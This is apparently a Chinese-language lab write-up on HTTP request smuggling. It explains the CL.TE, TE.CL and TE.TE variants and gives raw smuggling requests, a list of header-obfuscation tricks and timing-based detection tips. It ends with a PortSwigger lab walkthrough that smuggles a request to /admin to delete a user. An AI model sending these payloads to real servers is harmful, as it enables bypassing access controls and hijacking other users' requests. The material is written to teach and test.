“

HTTP Request Smuggling（http请求走私）实战中比较少见，但是此漏洞可能造成很大的影响

请求走私主要与HTTP/1请求相关，但是支持HTTP/2的网站可能容易受到攻击，具体取决于其后端架构

”

简单介绍

作为一种攻击，利用HTTP协议中存在的不一致性，攻击者通过发送特殊构造的http请求，欺骗代理服务器，负载均衡器或者Web服务器中的中间节点，从而可以绕过安全机制

可能造成的危害包括且不限于数据泄露，访问控制绕过，会话劫持，跨站脚本攻击

前置知识

• CL（Content-Length）：HTTP协议中的一个消息头（header），它用于指定HTTP请求或响应中消息体的大小，以便接收方能够正确地接收和处理消息。需要注意的是，在使用Content-Length时，消息体的长度必须要精确指定，否则接收方可能会出现错误。而在某些情况下，由于消息体的大小无法确定，比如在使用分块传输（chunked）的情况下，就需要使用Transfer-Encoding头来指定消息体的编码方式，而不是使用Content-Length来指定消息体的大小
• TE（Transfer-Encoding）：一种传输编码方式，它用于在传输过程中对消息体进行编码，以便在传输过程中对消息体进行压缩或分块传输等操作。当服务器无法确定响应的大小时，如动态生成的响应或者通过流式传输时，可以使用Transfer-Encoding来实现分块传输（0就是截断）
• 关于HTTP1.1：这个版本默认开始了Connection: Keep-alive特性，作用是告诉服务器，接收完这次HTTP请求后，不要关闭TCP链接，后面对相同目标服务器的HTTP请求，重用这一个TCP链接，这样只需要进行一次TCP握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度

漏洞成因

主要原因就是前后端对于请求的结果认证不一致导致的，相当于后端对于第一个包产生了截断，前者正常处理，后者就会和第二个包进行拼接，所以这样就对第二个包造成了影响

因为HTTP规范了两种不同的方法来制定请求结束位置，即CL和TE

CL:TE请求走私

原因：前端服务只处理Content-Length请求头，后端处理Transfer-Rncoding请求头

简单的示例

POST / HTTP/1.1
Host: 0a37009d0472902280c57b2300070025.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Transfer-Encoding: chunked
​
0
​
G

前端处理Content-Length标头并确认请求正文的长度为13字节，直到SMUGGLED的末尾，然后请求转发到后端服务器

这里是利用bp靶场进行了演示，像是如此发送两次包，我们可以看到第二次发送的时候原本的我们第一个包中的G到了第二个请求包中，显示我们的请求方法为GPOST

后端服务器处理Transfer-Encoding标头，因此将消息正文视为使用分块编码，他处理第一个块，如果该块的长度为0，就会被视为终止请求，至于未处理的请求，后端服务器会将他们视为序列中请求的开始

TE:CL请求走私

原因：前端服务器使用Transfer-Encoding标头，后端服务器使用Content-Length标头

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
​
8
SMUGGLED
0

前端服务器处理Transfer-Encoding标头，因此讲1消息正文视为使用分块编码，他处理第一个块，该块的长度为8字节，直到SMUGGLED之后的行的开头，，他处理第二个块，该块的长度为0，因此被视为终止请求，此请求将转发到后端服务器

后端服务器处理 Content-Length 标头并确定请求正文长度为 3 字节，直到 8 之后的行开头。以下字节（以 SMUGGLED 开头）未处理，后端服务器会将这些字节视为下一个字节的开头 请求

简单总结一下

前端：根据 TE，把整个伪造请求打包发过去，看分块

后端：根据 CL，只读了很少的数据，剩下的部分被当成 新请求 处理，从而导致走私成功，看长度

POST / HTTP/1.1
Host: 0a0a00a404901ccc81ceed5a009800c9.web-security-academy.net
Cookie: session=ndhAxLAN9wQOf7BYbQACPY8FPJxYWigS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
​
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
​
x=1
0

第一次发包，页面正常返回

第二次再发数据包，由于Transfer-Encoding，当其读取到0\r\n\r\n时，认为是读取完了，当转到后端服务器接受Content-Length请求头，当他读取完5c\r\n后，就认为此请求已经结束，后面的数据会被当做另一个请求

TE:TE请求走私 混淆 TE 标头

原因：前后端都支持Transfer-Encoding标头，但是其中一个服务器可以通过某种方式混淆标头来有道不处理他

从某种意义上还是CL-TE或者TE-CL

混淆方式有很多

Transfer-Encoding: xchunked
​
Transfer-Encoding : chunked
​
Transfer-Encoding: chunked
​
Transfer-Encoding: x
​
Transfer-Encoding:[tab]chunked
​
[space]Transfer-Encoding: chunked
​
X: X[\n]Transfer-Encoding: chunked
​
Transfer-Encoding: 
chunked

如何识别HTTP请求走私漏洞

计时和响应差异

当同事存在CL头和TE头时，如果说请求包正文的长度大于CL头指定的长度，则会导致请求包只有CL头指定长度内的内容，就导致了后端服务器因为是TE处理而导致一直等待后续的请求包，就会导致超时，所以就可以证明存在CL-TE漏洞

或者是用这个去测试，看它是否会影响后续的请求，如果说服务器以状态代码404响应，表明攻击请求确实干扰了它

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
​
e
q=smuggling&x=
0
​
GET /404 HTTP/1.1
Foo: x

注意：

“攻击”请求和“正常”请求应使用不同的网络连接发送到服务器。通过同一连接发送这两个请求并不能证明漏洞存在

“攻击”请求和“普通”请求应尽可能使用相同的 URL 和参数名称。这是因为许多现代应用程序根据 URL 和参数将前端请求路由到不同的后端服务器。使用相同的 URL 和参数会增加请求由同一后端服务器处理的机会

在测试“正常”请求以检测来自“攻击”请求的任何干扰时，你将与应用程序同时接收的任何其他请求（包括来自其他用户的请求）竞争。应在“攻击”请求之后立即发送“正常”请求。如果应用程序繁忙，则可能需要执行多次尝试来确认漏洞

工具检测

或者利用bp插件，直接在BAPP上搜索HTTP Request Smuggler

注：要求的bp版本比较新才行

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

有一个管理员面板/admin，但是前端服务器阻止访问，如果要解决问题，就需要请求走私访问到管理面板并删除用户后端服务器carlos

记得关闭bp自动更新CL头选项

访问/admin是上锁访问不了的

我们构造

POST / HTTP/1.1
Host: 0a2400cd041ee14d831bf550002900f4.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked
​
60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
​
x=1
0
​

发送两次

需要是本地用户才行，我们修改数据包

删除

POST / HTTP/1.1
Host: 0a2400cd041ee14d831bf550002900f4.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
​
87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
​
x=1
0
​

依靠bp靶场去了解，单开一个文章吧